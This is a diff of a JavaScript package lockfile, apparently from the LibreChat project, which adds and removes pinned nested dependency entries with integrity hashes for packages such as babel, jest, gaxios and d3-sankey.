+ "@vitejs/plugin-react/@babel/core/@babel/traverse": ["@babel/traverse@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/types": "^7.29.0", "debug": "^4.3.1" } }, "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/types": ["@babel/types@7.29.0", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A=="],
+
"ajv-formats/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
- "browserify-sign/readable-stream/core-util-is": ["core-util-is@1.0.3", "", {}, "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ=="],
+ "body-parser/raw-body/http-errors": ["http-errors@2.0.1", "", { "dependencies": { "depd": "~2.0.0", "inherits": "~2.0.4", "setprototypeof": "~1.2.0", "statuses": "~2.0.2", "toidentifier": "~1.0.1" } }, "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ=="],
"browserify-sign/readable-stream/isarray": ["isarray@1.0.0", "", {}, "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ=="],
"browserify-sign/readable-stream/safe-buffer": ["safe-buffer@5.1.2", "", {}, "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="],
+ "caniuse-api/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+
"caniuse-api/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
"chalk/supports-color/has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
@@ -7271,14 +7221,32 @@
"compression/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="],
+ "core-js-compat/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+
+ "core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+
+ "cytoscape-fcose/cose-base/layout-base": ["layout-base@2.0.1", "", {}, "sha512-dp3s92+uNI1hWIpPGH3jK2kxE2lMjdXdr+DH8ynZHpd6PUlH6x6cbuXnoMmiNumznqaNO31xu9e79F0uuZ0JFg=="],
+
+ "d3-sankey/d3-array/internmap": ["internmap@1.0.1", "", {}, "sha512-lDB5YccMydFBtasVtxnZ3MRBHuaoE8GKsppq+EchKL2U4nK/DmEpPHNH8MZe5HkMtpSiTSOZwfN0tzYjO/lJEw=="],
+
+ "d3-sankey/d3-shape/d3-path": ["d3-path@1.0.9", "", {}, "sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg=="],
+
"data-urls/whatwg-url/tr46": ["tr46@5.1.1", "", { "dependencies": { "punycode": "^2.3.1" } }, "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw=="],
"data-urls/whatwg-url/webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="],
+ "eslint/@eslint/eslintrc/globals": ["globals@14.0.0", "", {}, "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ=="],
+
"expect/jest-message-util/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
"expect/jest-message-util/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
+ "expect/jest-util/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
+
+ "expect/jest-util/ci-info": ["ci-info@3.9.0", "", {}, "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ=="],
+
+ "expect/jest-util/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
+
"express-session/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="],
"express-static-gzip/serve-static/send": ["send@0.19.0", "", { "dependencies": { "debug": "2.6.9", "depd": "2.0.0", "destroy": "1.2.0", "encodeurl": "~1.0.2", "escape-html": "~1.0.3", "etag": "~1.8.1", "fresh": "0.5.2", "http-errors": "2.0.0", "mime": "1.6.0", "ms": "2.1.3", "on-finished": "2.4.1", "range-parser": "~1.2.1", "statuses": "2.0.1" } }, "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw=="],
@@ -7287,15 +7255,17 @@
"form-data/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="],
- "gaxios/https-proxy-agent/agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="],
+ "gaxios/https-proxy-agent/agent-base": ["agent-base@7.1.0", "", { "dependencies": { "debug": "^4.3.4" } }, "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg=="],
- "google-auth-library/gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="],
+ "gaxios/https-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "gcp-metadata/gaxios/https-proxy-agent": ["https-proxy-agent@5.0.1", "", { "dependencies": { "agent-base": "6", "debug": "4" } }, "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="],
+
+ "glob/minimatch/brace-expansion": ["brace-expansion@5.0.4", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-h+DEnpVvxmfVefa4jFbCf5HdH5YMDXRsmKflpf1pILZWRFlTbJpxeU55nJl4Smt5HQaGzg1o6RHFPJaOqnmBDg=="],
"google-auth-library/gcp-metadata/google-logging-utils": ["google-logging-utils@0.0.2", "", {}, "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ=="],
- "googleapis-common/gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="],
-
- "gtoken/gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="],
+ "happy-dom/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="],
"hast-util-from-html-isomorphic/@types/hast/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="],
@@ -7337,6 +7307,8 @@
"jest-config/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
+ "jest-config/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
+
"jest-config/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
"jest-config/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
@@ -7345,28 +7317,20 @@
"jest-each/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
- "jest-environment-node/@jest/fake-timers/@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="],
-
"jest-leak-detector/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
"jest-message-util/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
- "jest-mock/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
-
- "jest-runtime/@jest/fake-timers/@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="],
-
"jest-runtime/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
- "jest-runtime/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
+ "jest-runtime/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
- "jest-snapshot/expect/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
+ "jest-runtime/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
"jest-snapshot/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
"jest-snapshot/synckit/@pkgr/core": ["@pkgr/core@0.2.9", "", {}, "sha512-QNqXyfVS2wm9hweSYD2O7F0G06uurj9kZ96TRQE5Y9hU7+tgdZwIkbAKc5Ocy1HxEY2kuDQa6cQ1WRs/O5LFKA=="],
- "jest-util/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
-
"jest-validate/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
"jest-worker/supports-color/has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
@@ -7375,139 +7339,13 @@
"jsonwebtoken/jws/jwa": ["jwa@1.4.1", "", { "dependencies": { "buffer-equal-constant-time": "1.0.1", "ecdsa-sig-formatter": "1.0.11", "safe-buffer": "^5.0.1" } }, "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA=="],
+ "jszip/readable-stream/isarray": ["isarray@1.0.0", "", {}, "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ=="],
+
+ "jszip/readable-stream/safe-buffer": ["safe-buffer@5.1.2", "", {}, "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="],
+
"jwks-rsa/@types/express/@types/express-serve-static-core": ["@types/express-serve-static-core@4.19.6", "", { "dependencies": { "@types/node": "*", "@types/qs": "*", "@types/range-parser": "*", "@types/send": "*" } }, "sha512-N4LZ2xG7DatVqhCZzOGb1Yi5lMbXSZcmdLDe9EzSndPV2HpWYWzRbaerl2n27irrm94EPpprqa8KpskPT085+A=="],
- "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-87GDMS3tsmMSi/3bWOte1UblL+YUTFMV8SZPZ2eSEL17s74Cw/l63rR6NmGVKMYW2GYi85nE+/d6Hw5N0bEk2Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.28.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-b6YTX108evsvE4YgWyQ921ZAFFQm3Bn+CA3+ZXlNVnPhx+UfsVURoPjfGAPCjBgrqo30yX/C2nZGX96DxvR9Iw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1", "@babel/traverse": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-45DmULpySVvmq9Pj3X9B+62Xe+DJGov27QravQJU1LLcapR6/10i+gYVAucGGJpHBp5mYxIMK4nDAT/QDLr47g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.28.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-LtPXlBbRoc4Njl/oh1CeD/3jC+atytbnf/UqLoqTDcEYGUPj022+rvfkbDYieUrSj3CaV4yHDByPE+T2HwfsJg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.28.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-globals": "^7.28.0", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cFOlhIYPBv/iBoc+KS3M6et2XPtbT2HiCRfBXWtfpc9OAyostldxIf9YAYB6ypURBBbx+Qv6nyrLzASfJe+hBA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/template": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D4WIMaFtwa2NizOp+dnoFjRez/ClKiC2BqqImwKd1X28nqBtZEyCYJ2ozQrrzlxAFrcrjxo39S6khe9RNDlGzw=="],
-
